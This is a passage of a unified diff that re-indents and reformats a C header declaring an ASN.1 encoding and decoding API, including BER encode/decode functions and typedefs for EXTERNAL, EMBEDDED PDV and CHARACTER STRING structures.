ASN1uint32_t cbBufSize); + extern ASN1_PUBLIC void WINAPI ASN1_CloseEncoder(ASN1encoding_t pEncoderInfo); + extern ASN1_PUBLIC void WINAPI ASN1_CloseEncoder2(ASN1encoding_t pEncoderInfo); + extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_CreateDecoder(ASN1module_t pModule, ASN1decoding_t *ppDecoderInfo, + ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize, + ASN1decoding_t pParent); + extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_CreateDecoderEx(ASN1module_t pModule, ASN1decoding_t *ppDecoderInfo, + ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize, + ASN1decoding_t pParent, ASN1uint32_t dwFlags); + extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_Decode(ASN1decoding_t pDecoderInfo, void **ppDataStruct, + ASN1uint32_t nPduNum, ASN1uint32_t dwFlags, ASN1octet_t *pbBuf, + ASN1uint32_t cbBufSize); + extern ASN1_PUBLIC void WINAPI ASN1_CloseDecoder(ASN1decoding_t pDecoderInfo); + extern ASN1_PUBLIC void WINAPI ASN1_FreeEncoded(ASN1encoding_t pEncoderInfo, void *pBuf); + extern ASN1_PUBLIC void WINAPI ASN1_FreeDecoded(ASN1decoding_t pDecoderInfo, void *pDataStruct, ASN1uint32_t nPduNum); + + typedef enum + { + ASN1OPT_CHANGE_RULE = 0x101, + ASN1OPT_GET_RULE = 0x201, + ASN1OPT_NOT_REUSE_BUFFER = 0x301, + ASN1OPT_REWIND_BUFFER = 0x302, + ASN1OPT_SET_DECODED_BUFFER = 0x501, + ASN1OPT_DEL_DECODED_BUFFER = 0x502, + ASN1OPT_GET_DECODED_BUFFER_SIZE = 0x601 + } ASN1option_e; + + typedef struct tagASN1optionparam_t + { + ASN1option_e eOption; + union + { + ASN1encodingrule_e eRule; + ASN1uint32_t cbRequiredDecodedBufSize; + struct + { + ASN1octet_t *pbBuf; + ASN1uint32_t cbBufSize; + } Buffer; + }; + } ASN1optionparam_t, ASN1optionparam_s; + + typedef enum tagASN1real_e + { + eReal_Normal, + eReal_PlusInfinity, + eReal_MinusInfinity + } ASN1real_e; + + typedef struct tagASN1real_t + { + ASN1real_e type; + ASN1intx_t mantissa; + ASN1uint32_t base; + ASN1intx_t exponent; + } ASN1real_t; + + typedef struct tagASN1external_t + { #define ASN1external_data_value_descriptor_o 0 - ASN1octet_t o[1]; - struct ASN1external_identification_s { - ASN1uint8_t o; - union { + ASN1octet_t o[1]; + struct ASN1external_identification_s + { + ASN1uint8_t o; + union + { #define ASN1external_identification_syntax_o 1 - ASN1objectidentifier_t syntax; + ASN1objectidentifier_t syntax; #define ASN1external_identification_presentation_context_id_o 2 - ASN1uint32_t presentation_context_id; + ASN1uint32_t presentation_context_id; #define ASN1external_identification_context_negotiation_o 3 - struct ASN1external_identification_context_negotiation_s { - ASN1uint32_t presentation_context_id; - ASN1objectidentifier_t transfer_syntax; - } context_negotiation; - } u; - } identification; - ASN1objectdescriptor_t data_value_descriptor; - struct ASN1external_data_value_s { - ASN1uint8_t o; - union { + struct ASN1external_identification_context_negotiation_s + { + ASN1uint32_t presentation_context_id; + ASN1objectidentifier_t transfer_syntax; + } context_negotiation; + } u; + } identification; + ASN1objectdescriptor_t data_value_descriptor; + struct ASN1external_data_value_s + { + ASN1uint8_t o; + union + { #define ASN1external_data_value_notation_o 0 - ASN1open_t notation; + ASN1open_t notation; #define ASN1external_data_value_encoded_o 1 - ASN1bitstring_t encoded; - } u; - } data_value; -} ASN1external_t; + ASN1bitstring_t encoded; + } u; + } data_value; + } ASN1external_t; -typedef struct ASN1external_identification_s ASN1external_identification_t; -typedef struct ASN1external_identification_context_negotiation_s ASN1external_identification_context_negotiation_t; -typedef struct ASN1external_data_value_s ASN1external_data_value_t; + typedef struct ASN1external_identification_s ASN1external_identification_t; + typedef struct ASN1external_identification_context_negotiation_s ASN1external_identification_context_negotiation_t; + typedef struct ASN1external_data_value_s ASN1external_data_value_t; -typedef struct tagASN1embeddedpdv_t { - struct ASN1embeddedpdv_identification_s { - ASN1uint8_t o; - union { + typedef struct tagASN1embeddedpdv_t + { + struct ASN1embeddedpdv_identification_s + { + ASN1uint8_t o; + union + { #define ASN1embeddedpdv_identification_syntaxes_o 0 - struct ASN1embeddedpdv_identification_syntaxes_s { - ASN1objectidentifier_t abstract; - ASN1objectidentifier_t transfer; - } syntaxes; + struct ASN1embeddedpdv_identification_syntaxes_s + { + ASN1objectidentifier_t abstract; + ASN1objectidentifier_t transfer; + } syntaxes; #define ASN1embeddedpdv_identification_syntax_o 1 - ASN1objectidentifier_t syntax; + ASN1objectidentifier_t syntax; #define ASN1embeddedpdv_identification_presentation_context_id_o 2 - ASN1uint32_t presentation_context_id; + ASN1uint32_t presentation_context_id; #define ASN1embeddedpdv_identification_context_negotiation_o 3 - struct ASN1embeddedpdv_identification_context_negotiation_s { - ASN1uint32_t presentation_context_id; - ASN1objectidentifier_t transfer_syntax; - } context_negotiation; + struct ASN1embeddedpdv_identification_context_negotiation_s + { + ASN1uint32_t presentation_context_id; + ASN1objectidentifier_t transfer_syntax; + } context_negotiation; #define ASN1embeddedpdv_identification_transfer_syntax_o 4 - ASN1objectidentifier_t transfer_syntax; -#define ASN1embeddedpdv_identification_fixed_o 5 - } u; - } identification; - struct ASN1embeddedpdv_data_value_s { - ASN1uint8_t o; - union { -#define ASN1embeddedpdv_data_value_notation_o 0 - ASN1open_t notation; -#define ASN1embeddedpdv_data_value_encoded_o 1 - ASN1bitstring_t encoded; - } u; - } data_value; -} ASN1embeddedpdv_t; - -typedef struct ASN1embeddedpdv_identification_s ASN1embeddedpdv_identification_t; -typedef struct ASN1embeddedpdv_identification_syntaxes_s ASN1embeddedpdv_identification_syntaxes_t; -typedef struct ASN1embeddedpdv_identification_context_negotiation_s - ASN1embeddedpdv_identification_context_negotiation_t; -typedef struct ASN1embeddedpdv_data_value_s ASN1embeddedpdv_data_value_t; - -typedef struct tagASN1characterstring_t { - struct ASN1characterstring_identification_s { - ASN1uint8_t o; - union { -#define ASN1characterstring_identification_syntaxes_o 0 - struct ASN1characterstring_identification_syntaxes_s { - ASN1objectidentifier_t abstract; - ASN1objectidentifier_t transfer; - } syntaxes; -#define ASN1characterstring_identification_syntax_o 1 - ASN1objectidentifier_t syntax; -#define ASN1characterstring_identification_presentation_context_id_o 2 - ASN1uint32_t presentation_context_id; -#define ASN1characterstring_identification_context_negotiation_o 3 - struct ASN1characterstring_identification_context_negotiation_s { - ASN1uint32_t presentation_context_id; ASN1objectidentifier_t transfer_syntax; - } context_negotiation; +#define ASN1embeddedpdv_identification_fixed_o 5 + } u; + } identification; + struct ASN1embeddedpdv_data_value_s + { + ASN1uint8_t o; + union + { +#define ASN1embeddedpdv_data_value_notation_o 0 + ASN1open_t notation; +#define ASN1embeddedpdv_data_value_encoded_o 1 + ASN1bitstring_t encoded; + } u; + } data_value; + } ASN1embeddedpdv_t; + + typedef struct ASN1embeddedpdv_identification_s ASN1embeddedpdv_identification_t; + typedef struct ASN1embeddedpdv_identification_syntaxes_s ASN1embeddedpdv_identification_syntaxes_t; + typedef struct ASN1embeddedpdv_identification_context_negotiation_s + ASN1embeddedpdv_identification_context_negotiation_t; + typedef struct ASN1embeddedpdv_data_value_s ASN1embeddedpdv_data_value_t; + + typedef struct tagASN1characterstring_t + { + struct ASN1characterstring_identification_s + { + ASN1uint8_t o; + union + { +#define ASN1characterstring_identification_syntaxes_o 0 + struct ASN1characterstring_identification_syntaxes_s + { + ASN1objectidentifier_t abstract; + ASN1objectidentifier_t transfer; + } syntaxes; +#define ASN1characterstring_identification_syntax_o 1 + ASN1objectidentifier_t syntax; +#define ASN1characterstring_identification_presentation_context_id_o 2 + ASN1uint32_t presentation_context_id; +#define ASN1characterstring_identification_context_negotiation_o 3 + struct ASN1characterstring_identification_context_negotiation_s + { + ASN1uint32_t presentation_context_id; + ASN1objectidentifier_t transfer_syntax; + } context_negotiation; #define ASN1characterstring_identification_transfer_syntax_o 4 - ASN1objectidentifier_t transfer_syntax; + ASN1objectidentifier_t transfer_syntax; #define ASN1characterstring_identification_fixed_o 5 - } u; - } identification; - struct ASN1characterstring_data_value_s { - ASN1uint8_t o; - union { + } u; + } identification; + struct ASN1characterstring_data_value_s + { + ASN1uint8_t o; + union + { #define ASN1characterstring_data_value_notation_o 0 - ASN1open_t notation; + ASN1open_t notation; #define ASN1characterstring_data_value_encoded_o 1 - ASN1octetstring_t encoded; - } u; - } data_value; -} ASN1characterstring_t; + ASN1octetstring_t encoded; + } u; + } data_value; + } ASN1characterstring_t; -typedef struct ASN1characterstring_identification_s ASN1characterstring_identification_t; -typedef struct ASN1characterstring_identification_syntaxes_s ASN1characterstring_identification_syntaxes_t; -typedef struct ASN1characterstring_identification_context_negotiation_s - ASN1characterstring_identification_context_negotiation_t; -typedef struct ASN1characterstring_data_value_s ASN1characterstring_data_value_t; + typedef struct ASN1characterstring_identification_s ASN1characterstring_identification_t; + typedef struct ASN1characterstring_identification_syntaxes_s ASN1characterstring_identification_syntaxes_t; + typedef struct ASN1characterstring_identification_context_negotiation_s + ASN1characterstring_identification_context_negotiation_t; + typedef struct ASN1characterstring_data_value_s ASN1characterstring_data_value_t; -extern ASN1_PUBLIC void WINAPI ASN1real_free(ASN1real_t *); -extern ASN1_PUBLIC void WINAPI ASN1external_free(ASN1external_t *); -extern ASN1_PUBLIC void WINAPI ASN1embeddedpdv_free(ASN1embeddedpdv_t *); -extern ASN1_PUBLIC void WINAPI ASN1characterstring_free(ASN1characterstring_t *); -extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_SetEncoderOption(ASN1encoding_t pEncoderInfo, ASN1optionparam_t *pOptParam); -extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_GetEncoderOption(ASN1encoding_t pEncoderInfo, ASN1optionparam_t *pOptParam); -extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_SetDecoderOption(ASN1decoding_t pDecoderInfo, ASN1optionparam_t *pOptParam); -extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_GetDecoderOption(ASN1decoding_t pDecoderInfo, ASN1optionparam_t *pOptParam); -extern ASN1_PUBLIC void WINAPI ASN1bitstring_free(ASN1bitstring_t *); -extern ASN1_PUBLIC void WINAPI ASN1octetstring_free(ASN1octetstring_t *); -extern ASN1_PUBLIC void WINAPI ASN1objectidentifier_free(ASN1objectidentifier_t *); -extern ASN1_PUBLIC void WINAPI ASN1charstring_free(ASN1charstring_t *); -extern ASN1_PUBLIC void WINAPI ASN1char16string_free(ASN1char16string_t *); -extern ASN1_PUBLIC void WINAPI ASN1char32string_free(ASN1char32string_t *); -extern ASN1_PUBLIC void WINAPI ASN1ztcharstring_free(ASN1ztcharstring_t); -extern ASN1_PUBLIC void WINAPI ASN1ztchar16string_free(ASN1ztchar16string_t); -extern ASN1_PUBLIC void WINAPI ASN1ztchar32string_free(ASN1ztchar32string_t); -extern ASN1_PUBLIC void WINAPI ASN1open_free(ASN1open_t *); -extern ASN1_PUBLIC void WINAPI ASN1utf8string_free(ASN1wstring_t *); -extern ASN1_PUBLIC void *WINAPI ASN1DecAlloc(ASN1decoding_t dec, ASN1uint32_t size); -extern ASN1_PUBLIC void *WINAPI ASN1DecRealloc(ASN1decoding_t dec, void *ptr, ASN1uint32_t size); -extern ASN1_PUBLIC void WINAPI ASN1Free(void *ptr); -extern ASN1_PUBLIC ASN1error_e WINAPI ASN1EncSetError(ASN1encoding_t enc, ASN1error_e err); -extern ASN1_PUBLIC ASN1error_e WINAPI ASN1DecSetError(ASN1decoding_t dec, ASN1error_e err); -extern ASN1_PUBLIC void WINAPI ASN1intx_sub(ASN1intx_t *, ASN1intx_t *, ASN1intx_t *); -extern ASN1_PUBLIC ASN1uint32_t WINAPI ASN1intx_uoctets(ASN1intx_t *); -extern ASN1_PUBLIC void WINAPI ASN1intx_free(ASN1intx_t *); -extern ASN1_PUBLIC void WINAPI ASN1intx_add(ASN1intx_t *, ASN1intx_t *, ASN1intx_t *); -extern ASN1_PUBLIC ASN1int32_t WINAPI ASN1intx2int32(ASN1intx_t *val); -extern ASN1_PUBLIC ASN1uint32_t WINAPI ASN1intx2uint32(ASN1intx_t *val); -extern ASN1_PUBLIC int WINAPI ASN1intxisuint32(ASN1intx_t *val); -extern ASN1_PUBLIC void WINAPI ASN1intx_setuint32(ASN1intx_t *dst, ASN1uint32_t val); -extern ASN1_PUBLIC void WINAPI ASN1DbgMemTrackDumpCurrent(ASN1uint32_t nModuleName); -extern ASN1_PUBLIC ASN1uint32_t WINAPI ASN1uint32_uoctets(ASN1uint32_t); -extern ASN1_PUBLIC int WINAPI ASN1objectidentifier_cmp(ASN1objectidentifier_t *v1, ASN1objectidentifier_t *v2); -extern ASN1_PUBLIC int WINAPI ASN1objectidentifier2_cmp(ASN1objectidentifier2_t *v1, ASN1objectidentifier2_t *v2); -extern ASN1_PUBLIC int WINAPI ASN1bitstring_cmp(ASN1bitstring_t *, ASN1bitstring_t *, int); -extern ASN1_PUBLIC int WINAPI ASN1octetstring_cmp(ASN1octetstring_t *, ASN1octetstring_t *); -extern ASN1_PUBLIC int WINAPI ASN1objectidentifier_cmp(ASN1objectidentifier_t *, ASN1objectidentifier_t *); -extern ASN1_PUBLIC int WINAPI ASN1charstring_cmp(ASN1charstring_t *, ASN1charstring_t *); -extern ASN1_PUBLIC int WINAPI ASN1char16string_cmp(ASN1char16string_t *, ASN1char16string_t *); -extern ASN1_PUBLIC int WINAPI ASN1char32string_cmp(ASN1char32string_t *, ASN1char32string_t *); -extern ASN1_PUBLIC int WINAPI ASN1ztcharstring_cmp(ASN1ztcharstring_t, ASN1ztcharstring_t); -extern ASN1_PUBLIC int WINAPI ASN1ztchar16string_cmp(ASN1ztchar16string_t, ASN1ztchar16string_t); -extern ASN1_PUBLIC int WINAPI ASN1open_cmp(ASN1open_t *, ASN1open_t *); -extern ASN1_PUBLIC int WINAPI ASN1generalizedtime_cmp(ASN1generalizedtime_t *, ASN1generalizedtime_t *); -extern ASN1_PUBLIC int WINAPI ASN1utctime_cmp(ASN1utctime_t *, ASN1utctime_t *); + extern ASN1_PUBLIC void WINAPI ASN1real_free(ASN1real_t *); + extern ASN1_PUBLIC void WINAPI ASN1external_free(ASN1external_t *); + extern ASN1_PUBLIC void WINAPI ASN1embeddedpdv_free(ASN1embeddedpdv_t *); + extern ASN1_PUBLIC void WINAPI ASN1characterstring_free(ASN1characterstring_t *); + extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_SetEncoderOption(ASN1encoding_t pEncoderInfo, ASN1optionparam_t *pOptParam); + extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_GetEncoderOption(ASN1encoding_t pEncoderInfo, ASN1optionparam_t *pOptParam); + extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_SetDecoderOption(ASN1decoding_t pDecoderInfo, ASN1optionparam_t *pOptParam); + extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_GetDecoderOption(ASN1decoding_t pDecoderInfo, ASN1optionparam_t *pOptParam); + extern ASN1_PUBLIC void WINAPI ASN1bitstring_free(ASN1bitstring_t *); + extern ASN1_PUBLIC void WINAPI ASN1octetstring_free(ASN1octetstring_t *); + extern ASN1_PUBLIC void WINAPI ASN1objectidentifier_free(ASN1objectidentifier_t *); + extern ASN1_PUBLIC void WINAPI ASN1charstring_free(ASN1charstring_t *); + extern ASN1_PUBLIC void WINAPI ASN1char16string_free(ASN1char16string_t *); + extern ASN1_PUBLIC void WINAPI ASN1char32string_free(ASN1char32string_t *); + extern ASN1_PUBLIC void WINAPI ASN1ztcharstring_free(ASN1ztcharstring_t); + extern ASN1_PUBLIC void WINAPI ASN1ztchar16string_free(ASN1ztchar16string_t); + extern ASN1_PUBLIC void WINAPI ASN1ztchar32string_free(ASN1ztchar32string_t); + extern ASN1_PUBLIC void WINAPI ASN1open_free(ASN1open_t *); + extern ASN1_PUBLIC void WINAPI ASN1utf8string_free(ASN1wstring_t *); + extern ASN1_PUBLIC void *WINAPI ASN1DecAlloc(ASN1decoding_t dec, ASN1uint32_t size); + extern ASN1_PUBLIC void *WINAPI ASN1DecRealloc(ASN1decoding_t dec, void *ptr, ASN1uint32_t size); + extern ASN1_PUBLIC void WINAPI ASN1Free(void *ptr); + extern ASN1_PUBLIC ASN1error_e WINAPI ASN1EncSetError(ASN1encoding_t enc, ASN1error_e err); + extern ASN1_PUBLIC ASN1error_e WINAPI ASN1DecSetError(ASN1decoding_t dec, ASN1error_e err); + extern ASN1_PUBLIC void WINAPI ASN1intx_sub(ASN1intx_t *, ASN1intx_t *, ASN1intx_t *); + extern ASN1_PUBLIC ASN1uint32_t WINAPI ASN1intx_uoctets(ASN1intx_t *); + extern ASN1_PUBLIC void WINAPI ASN1intx_free(ASN1intx_t *); + extern ASN1_PUBLIC void WINAPI ASN1intx_add(ASN1intx_t *, ASN1intx_t *, ASN1intx_t *); + extern ASN1_PUBLIC ASN1int32_t WINAPI ASN1intx2int32(ASN1intx_t *val); + extern ASN1_PUBLIC ASN1uint32_t WINAPI ASN1intx2uint32(ASN1intx_t *val); + extern ASN1_PUBLIC int WINAPI ASN1intxisuint32(ASN1intx_t *val); + extern ASN1_PUBLIC void WINAPI ASN1intx_setuint32(ASN1intx_t *dst, ASN1uint32_t val); + extern ASN1_PUBLIC void WINAPI ASN1DbgMemTrackDumpCurrent(ASN1uint32_t nModuleName); + extern ASN1_PUBLIC ASN1uint32_t WINAPI ASN1uint32_uoctets(ASN1uint32_t); + extern ASN1_PUBLIC int WINAPI ASN1objectidentifier_cmp(ASN1objectidentifier_t *v1, ASN1objectidentifier_t *v2); + extern ASN1_PUBLIC int WINAPI ASN1objectidentifier2_cmp(ASN1objectidentifier2_t *v1, ASN1objectidentifier2_t *v2); + extern ASN1_PUBLIC int WINAPI ASN1bitstring_cmp(ASN1bitstring_t *, ASN1bitstring_t *, int); + extern ASN1_PUBLIC int WINAPI ASN1octetstring_cmp(ASN1octetstring_t *, ASN1octetstring_t *); + extern ASN1_PUBLIC int WINAPI ASN1objectidentifier_cmp(ASN1objectidentifier_t *, ASN1objectidentifier_t *); + extern ASN1_PUBLIC int WINAPI ASN1charstring_cmp(ASN1charstring_t *, ASN1charstring_t *); + extern ASN1_PUBLIC int WINAPI ASN1char16string_cmp(ASN1char16string_t *, ASN1char16string_t *); + extern ASN1_PUBLIC int WINAPI ASN1char32string_cmp(ASN1char32string_t *, ASN1char32string_t *); + extern ASN1_PUBLIC int WINAPI ASN1ztcharstring_cmp(ASN1ztcharstring_t, ASN1ztcharstring_t); + extern ASN1_PUBLIC int WINAPI ASN1ztchar16string_cmp(ASN1ztchar16string_t, ASN1ztchar16string_t); + extern ASN1_PUBLIC int WINAPI ASN1open_cmp(ASN1open_t *, ASN1open_t *); + extern ASN1_PUBLIC int WINAPI ASN1generalizedtime_cmp(ASN1generalizedtime_t *, ASN1generalizedtime_t *); + extern ASN1_PUBLIC int WINAPI ASN1utctime_cmp(ASN1utctime_t *, ASN1utctime_t *); -extern ASN1_PUBLIC int ASN1API ASN1BEREncCharString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t, ASN1char_t *); -extern ASN1_PUBLIC int ASN1API ASN1BEREncChar16String(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t, - ASN1char16_t *); -extern ASN1_PUBLIC int ASN1API ASN1BEREncChar32String(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t, - ASN1char32_t *); -extern ASN1_PUBLIC int ASN1API ASN1BEREncOctetString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, - ASN1octet_t *val); -extern ASN1_PUBLIC int ASN1API ASN1BEREncBitString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t, ASN1octet_t *); -extern ASN1_PUBLIC int ASN1API ASN1BEREncDouble(ASN1encoding_t enc, ASN1uint32_t tag, double); -extern ASN1_PUBLIC int ASN1API ASN1BEREncGeneralizedTime(ASN1encoding_t enc, ASN1uint32_t tag, ASN1generalizedtime_t *); -extern ASN1_PUBLIC int ASN1API ASN1BEREncS32(ASN1encoding_t enc, ASN1uint32_t tag, ASN1int32_t); -extern ASN1_PUBLIC int ASN1API ASN1BEREncSX(ASN1encoding_t enc, ASN1uint32_t tag, ASN1intx_t *); -extern ASN1_PUBLIC int ASN1API ASN1BEREncZeroMultibyteString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1ztcharstring_t); -extern ASN1_PUBLIC int ASN1API ASN1BEREncMultibyteString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1charstring_t *); -extern ASN1_PUBLIC int ASN1API ASN1BEREncNull(ASN1encoding_t enc, ASN1uint32_t tag); -extern ASN1_PUBLIC int ASN1API ASN1BEREncObjectIdentifier(ASN1encoding_t enc, ASN1uint32_t tag, - ASN1objectidentifier_t *); -extern ASN1_PUBLIC int ASN1API ASN1BEREncObjectIdentifier2(ASN1encoding_t enc, ASN1uint32_t tag, - ASN1objectidentifier2_t *val); -extern ASN1_PUBLIC int ASN1API ASN1BEREncRemoveZeroBits(ASN1uint32_t *, ASN1octet_t *); -extern ASN1_PUBLIC int ASN1API ASN1BEREncUTCTime(ASN1encoding_t enc, ASN1uint32_t tag, ASN1utctime_t *); -extern ASN1_PUBLIC int ASN1API ASN1BEREncFlush(ASN1encoding_t enc); -extern ASN1_PUBLIC int ASN1API ASN1BEREncOpenType(ASN1encoding_t enc, ASN1open_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecExplicitTag(ASN1decoding_t dec, ASN1uint32_t tag, ASN1decoding_t *dd, - ASN1octet_t **di); -extern ASN1_PUBLIC int ASN1API ASN1BERDecEndOfContents(ASN1decoding_t dec, ASN1decoding_t dd, ASN1octet_t *di); -extern ASN1_PUBLIC int ASN1API ASN1BERDecOctetString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1octetstring_t *val); -extern ASN1_PUBLIC int ASN1API ASN1BERDecOctetString2(ASN1decoding_t dec, ASN1uint32_t tag, ASN1octetstring_t *val); -extern ASN1_PUBLIC int ASN1API ASN1BERDecBitString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1bitstring_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecBitString2(ASN1decoding_t dec, ASN1uint32_t tag, ASN1bitstring_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecChar16String(ASN1decoding_t dec, ASN1uint32_t tag, ASN1char16string_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecChar32String(ASN1decoding_t dec, ASN1uint32_t tag, ASN1char32string_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecCharString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1charstring_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecDouble(ASN1decoding_t dec, ASN1uint32_t tag, double *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecGeneralizedTime(ASN1decoding_t dec, ASN1uint32_t tag, ASN1generalizedtime_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecZeroMultibyteString(ASN1decoding_t dec, ASN1uint32_t tag, - ASN1ztcharstring_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecMultibyteString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1charstring_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecNull(ASN1decoding_t dec, ASN1uint32_t tag); -extern ASN1_PUBLIC int ASN1API ASN1BERDecObjectIdentifier(ASN1decoding_t dec, ASN1uint32_t tag, - ASN1objectidentifier_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecObjectIdentifier2(ASN1decoding_t dec, ASN1uint32_t tag, - ASN1objectidentifier2_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecS8Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1int8_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecS16Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1int16_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecS32Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1int32_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecSXVal(ASN1decoding_t dec, ASN1uint32_t tag, ASN1intx_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecU8Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1uint8_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecU16Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1uint16_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecUTCTime(ASN1decoding_t dec, ASN1uint32_t tag, ASN1utctime_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecZeroChar16String(ASN1decoding_t dec, ASN1uint32_t tag, ASN1ztchar16string_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecZeroChar32String(ASN1decoding_t dec, ASN1uint32_t tag, ASN1ztchar32string_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecZeroCharString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1ztcharstring_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecSkip(ASN1decoding_t dec); -extern ASN1_PUBLIC int ASN1API ASN1BERDecFlush(ASN1decoding_t dec); -extern ASN1_PUBLIC int ASN1API ASN1BERDecOpenType(ASN1decoding_t dec, ASN1open_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecOpenType2(ASN1decoding_t dec, ASN1open_t *); -extern ASN1_PUBLIC int ASN1API ASN1BEREncCheck(ASN1encoding_t enc, ASN1uint32_t noctets); -extern ASN1_PUBLIC int ASN1API ASN1BEREncTag(ASN1encoding_t enc, ASN1uint32_t tag); -extern ASN1_PUBLIC int ASN1API ASN1BEREncExplicitTag(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t *pLengthOffset); -extern ASN1_PUBLIC int ASN1API ASN1BEREncEndOfContents(ASN1encoding_t enc, ASN1uint32_t LengthOffset); -extern ASN1_PUBLIC int ASN1API ASN1BEREncLength(ASN1encoding_t enc, ASN1uint32_t len); -extern ASN1_PUBLIC int ASN1API ASN1BERDecCheck(ASN1decoding_t dec, ASN1uint32_t len); -extern ASN1_PUBLIC int ASN1API ASN1BERDecTag(ASN1decoding_t dec, ASN1uint32_t tag, ASN1uint32_t *constructed); -extern ASN1_PUBLIC int ASN1API ASN1BERDecLength(ASN1decoding_t dec, ASN1uint32_t *len, ASN1uint32_t *infinite); -extern ASN1_PUBLIC int ASN1API ASN1BERDecNotEndOfContents(ASN1decoding_t dec, ASN1octet_t *di); -extern ASN1_PUBLIC int ASN1API ASN1BERDecPeekTag(ASN1decoding_t dec, ASN1uint32_t *tag); -extern ASN1_PUBLIC int ASN1API ASN1BEREncU32(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t); -extern ASN1_PUBLIC int ASN1API ASN1BERDecU32Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1uint32_t *val); -extern ASN1_PUBLIC int ASN1API ASN1BEREncBool(ASN1encoding_t enc, ASN1uint32_t tag, ASN1bool_t); -extern ASN1_PUBLIC int ASN1API ASN1BERDecBool(ASN1decoding_t dec, ASN1uint32_t tag, ASN1bool_t *); -extern ASN1_PUBLIC int ASN1API ASN1BEREncEoid(ASN1encoding_t enc, ASN1uint32_t tag, ASN1encodedOID_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDecEoid(ASN1decoding_t dec, ASN1uint32_t tag, ASN1encodedOID_t *); -extern ASN1_PUBLIC int ASN1API ASN1BERDotVal2Eoid(ASN1encoding_t enc, char *pszDotVal, ASN1encodedOID_t *pOut); -extern ASN1_PUBLIC int ASN1API ASN1BEREoid2DotVal(ASN1decoding_t dec, ASN1encodedOID_t *pIn, char **ppszDotVal); -extern ASN1_PUBLIC void ASN1API ASN1BEREoid_free(ASN1encodedOID_t *); -extern ASN1_PUBLIC int ASN1API ASN1BEREncUTF8String(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t length, - WCHAR *value); -extern ASN1_PUBLIC int ASN1API ASN1BERDecUTF8String(ASN1decoding_t dec, ASN1uint32_t tag, ASN1wstring_t *val); + extern ASN1_PUBLIC int ASN1API ASN1BEREncCharString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t, ASN1char_t *); + extern ASN1_PUBLIC int ASN1API ASN1BEREncChar16String(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t, + ASN1char16_t *); + extern ASN1_PUBLIC int ASN1API ASN1BEREncChar32String(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t, + ASN1char32_t *); + extern ASN1_PUBLIC int ASN1API ASN1BEREncOctetString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, + ASN1octet_t *val); + extern ASN1_PUBLIC int ASN1API ASN1BEREncBitString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t, ASN1octet_t *); + extern ASN1_PUBLIC int ASN1API ASN1BEREncDouble(ASN1encoding_t enc, ASN1uint32_t tag, double); + extern ASN1_PUBLIC int ASN1API ASN1BEREncGeneralizedTime(ASN1encoding_t enc, ASN1uint32_t tag, ASN1generalizedtime_t *); + extern ASN1_PUBLIC int ASN1API ASN1BEREncS32(ASN1encoding_t enc, ASN1uint32_t tag, ASN1int32_t); + extern ASN1_PUBLIC int ASN1API ASN1BEREncSX(ASN1encoding_t enc, ASN1uint32_t tag, ASN1intx_t *); + extern ASN1_PUBLIC int ASN1API ASN1BEREncZeroMultibyteString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1ztcharstring_t); + extern ASN1_PUBLIC int ASN1API ASN1BEREncMultibyteString(ASN1encoding_t 